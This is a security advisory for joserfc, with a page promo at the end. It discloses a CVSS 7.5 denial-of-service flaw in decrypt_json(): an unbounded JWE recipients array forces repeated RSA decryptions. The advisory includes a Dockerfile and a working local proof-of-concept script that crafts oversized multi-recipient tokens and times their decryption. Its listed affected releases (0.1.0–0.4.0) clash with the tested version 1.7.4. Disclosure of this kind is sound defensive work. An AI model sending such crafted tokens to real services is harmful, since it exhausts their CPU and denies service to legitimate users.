All security reports
OSV security advisoryHigh

High advisory for joserfc

GHSA-jpxq-7h8p-2q76 · Reported 30 Oct 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

joserfcAffected product

Advisory overview

### Summary `joserfc.jwe.decrypt_json()`, the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for **every** recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, `verify_all_recipients=False`, does **not** reduce the CPU cost, since the decrypt loop attempts every recipient's `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High). ### Details `joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs **no validation whatsoever on the number of entries in the `recipients` array** of a JWE General JSON Serialization object. Data flow (source → sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4): 1. `src/joserfc/jwe.py:214` — public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON. 2. `src/joserfc/jwe.py:238` — if `"recipients"` is present in the input dict, `extract_general_json(...)` is invoked. 3. `src/joserfc/_rfc7516/json.py:84-86` — iterates `for item in data["recipients"]:` and appends a `Recipient` object for every entry, with **no upper bound check** on `len(data["recipients"])`: ```python for item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient) ``` 4. `src/joserfc/jwe.py:252` — the private key is attached to every extracted recipient. 5. `src/joserfc/_rfc7516/message.py:103-112` — `_perform_decrypt()` loops over **every** recipient in `obj.recipients` and calls `decrypt_recipient(...)` for each one, regardless of how many there are: ```python cek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek) ``` 6. `src/joserfc/_rfc7518/jwe_algs.py:74-83` — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation: ```python def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding) ``` Confirmed by direct inspection of `src/joserfc/_rfc7516/registry.py`: size caps exist for `max_header_length`, `max_encrypted_key_length`, `max_iv_length`, `max_ciphertext_length`, and `max_auth_tag_length` (registry.py:52-62, 103-121), but no `max_recipients` (or equivalent) field or check exists anywhere in `registry.py`, `json.py`, or `jwe.py`. Critically, the loop in `message.py:103-112` calls `decrypt_recipient()` for **every** recipient unconditionally — this happens *before* `registry.verify_all_recipients` is ever consulted. Setting `verify_all_recipients=False` (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does **not** reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between `verify_all_recipients=True` and `verify_all_recipients=False` for the same recipient count. `decrypt_json()` is not a demo-only or admin-only code path: it is documented in `docs/guide/jwe.rst:156-182` as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 `p2c` iteration cap (`src/joserfc/_rfc7518/jwe_algs.py:237-239`) and the JWE compression "zip bomb" size cap (`src/joserfc/_rfc7518/jwe_zips.py:11,26-28`) — indicating the recipient-count case was simply missed from the same class of hardening. ### PoC Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source. **Environment setup (Dockerfile):** ```dockerfile FROM python:3.12-slim WORKDIR /app # Copy the exact repository source under test (unmodified). COPY repo /app/repo # Install joserfc from local source in editable/normal mode. RUN pip install --no-cache-dir /app/repo # Copy the PoC script. COPY vuln-001/poc.py /app/poc.py ENTRYPOINT ["python3", "/app/poc.py"] ``` Build and run (source is used unmodified; container has no network access): ```bash docker build -t joserfc-vuln001 -f vuln-001/Dockerfile . docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500 ``` **PoC logic (`poc.py`):** generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (`GeneralJSONEncryption`) wrapping a small plaintext with an attacker-chosen number `n` of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API `joserfc.jwe.decrypt_json()` and measures wall-clock decrypt time, once with `verify_all_recipients=True` and once with `verify_all_recipients=False`. ```python def build_token(public_key, n_recipients: int) -> tuple[str, int]: obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for _ in range(n_recipients): obj.add_recipient({"alg": "RSA-OAEP"}, public_key) token = jwe.encrypt_json(obj, None) size_bytes = len(json.dumps(token).encode()) return token, size_bytes def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float: registry = JWERegistry(verify_all_recipients=verify_all_recipients) t0 = time.perf_counter() out = jwe.decrypt_json(token, private_key, registry=registry) dt = time.perf_counter() - t0 assert out.plaintext == b"hello" return dt ``` **Observed results (Phase 2, inside the Docker container, `--network none`, unmodified source):** ``` [*] Attacker crafts General JSON JWE with recipients=1 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001 [*] Attacker crafts General JSON JWE with recipients=500 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651 [*] Attacker crafts General JSON JWE with recipients=1500 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875 [CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x [PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost. ``` Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, `plaintext=b'hello'` was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early. In all cases, `verify_all_recipients=False` produced decrypt times statistically identical to `verify_all_recipients=True` for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost. ### Impact This is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that: - exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and - decrypts it using `joserfc.jwe.decrypt_json()` with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5) is impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's `C:N/I:N/A:H`. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 dynamic reproduction environment # Unbounded JWE General JSON "recipients" array causes CPU exhaustion via # repeated RSA private-key decryption in joserfc's decrypt_json(). # # This image builds joserfc from the local repository clone (unmodified # source) and provides a Python environment to run poc.py against it. FROM python:3.12-slim WORKDIR /app # Copy the exact repository source under test (unmodified). COPY repo /app/repo # Install joserfc from local source in editable/normal mode. RUN pip install --no-cache-dir /app/repo # Copy the PoC script. COPY vuln-001/poc.py /app/poc.py ENTRYPOINT ["python3", "/app/poc.py"] ``` #### `poc.py` ```python """ VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside joserfc's public parser API `joserfc.jwe.decrypt_json()`. Data flow reproduced end to end (unmodified joserfc source): 1. joserfc.jwe.decrypt_json() (src/joserfc/jwe.py:214) 2. -> extract_general_json() (src/joserfc/_rfc7516/json.py:73) 3. -> for item in data["recipients"]: (NO COUNT CAP) (src/joserfc/_rfc7516/json.py:84) 4. -> perform_decrypt() -> _perform_decrypt() (src/joserfc/_rfc7516/message.py:93-112) 5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient, regardless of registry.verify_all_recipients 6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...) (src/joserfc/_rfc7518/jwe_algs.py:74-83) performs one real RSA-2048 private-key decrypt operation per recipient. This script: (a) builds a victim RSA keypair (2048-bit, as an application would use for RSA-OAEP JWE decryption), (b) crafts a General JSON JWE token with an attacker-chosen number of RSA-OAEP recipients, all wrapping the SAME small ciphertext, (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends processing the token as the recipient count grows, (d) shows that setting verify_all_recipients=False (the only public mitigation knob mentioned in the docs) does NOT reduce the CPU cost, because the decrypt loop in message.py always attempts every recipient's decrypt_cek() before that flag is ever consulted. Deterministic PASS criteria (printed as machine-readable JSON lines): - decrypt_json() succeeds (returns correct plaintext) for all recipient counts. - decrypt_seconds scales roughly linearly with recipient count (attacker control over victim CPU cost, unbounded by the library). - decrypt_seconds for verify_all_recipients=False is statistically the same order of magnitude as verify_all_recipients=True for the same recipient count (proving the documented mitigation does not help). """ import argparse import json import time from joserfc import jwe, jwk from joserfc.jwe import GeneralJSONEncryption from joserfc.jwe import JWERegistry def build_token(public_key, n_recipients: int) -> tuple[str, int]: """Craft a General JSON JWE with n_recipients RSA-OAEP recipients, all wrapping the same small plaintext. This is exactly the shape an unauthenticated network attacker can send to any endpoint that calls jwe.decrypt_json() on external input, as documented in docs/guide/jwe.rst.""" obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for _ in range(n_recipients): obj.add_recipient({"alg": "RSA-OAEP"}, public_key) token = jwe.encrypt_json(obj, None) size_bytes = len(json.dumps(token).encode()) return token, size_bytes def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float: registry = JWERegistry(verify_all_recipients=verify_all_recipients) t0 = time.perf_counter() out = jwe.decrypt_json(token, private_key, registry=registry) dt = time.perf_counter() - t0 assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}" return dt def main(): parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC") parser.add_argument( "--recipients", type=int, nargs="+", default=[1, 500, 1500], help="Recipient counts to test (attacker-controlled array length).", ) parser.add_argument( "--key-bits", type=int, default=2048, help="RSA key size of the victim's decryption key.", ) args = parser.parse_args() print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...") private_key = jwk.RSAKey.generate_key(args.key_bits) public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False)) print("[*] Victim private key generated locally; public key is what an attacker would normally have.") results = [] for n in args.recipients: print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...") token, size_bytes = build_token(public_key, n) dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True) print( f" verify_all_recipients=True -> decrypt_json() succeeded, " f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}" ) dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False) print( f" verify_all_recipients=False -> decrypt_json() succeeded, " f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} " f"(documented 'mitigation' does NOT reduce CPU cost)" ) results.append( { "recipients": n, "size_bytes": size_bytes, "decrypt_seconds_verify_all_true": round(dt_verify_true, 3), "decrypt_seconds_verify_all_false": round(dt_verify_false, 3), } ) print("\n[RESULT_JSON] " + json.dumps(results)) # Deterministic scaling check: CPU time for the largest recipient count # must be substantially larger (order of magnitude, not noise) than for # the smallest, proving attacker control over victim CPU consumption. baseline = results[0]["decrypt_seconds_verify_all_true"] worst = results[-1]["decrypt_seconds_verify_all_true"] ratio = worst / baseline if baseline > 0 else float("inf") recipient_ratio = results[-1]["recipients"] / results[0]["recipients"] print( f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x " f"decrypt_time_ratio={ratio:.1f}x " f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)" ) if ratio < recipient_ratio * 0.3: print("[FAIL] Decrypt time did not scale with recipient count as expected.") raise SystemExit(1) print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied " "recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.") if __name__ == "__main__": main() ```

Affected packages and releases

PyPI / joserfc

0.1.0, 0.10.0, 0.11.0, 0.11.1, 0.12.0, 0.2.0, 0.3.0, 0.4.0

Also known as

CVE-2026-119283

Related references

Your vulnerabilities. One clear dashboard.

Find and review known vulnerabilities across your applications and infrastructure in one dashboard, so your team can see what needs attention and take action to fix it.

Create your account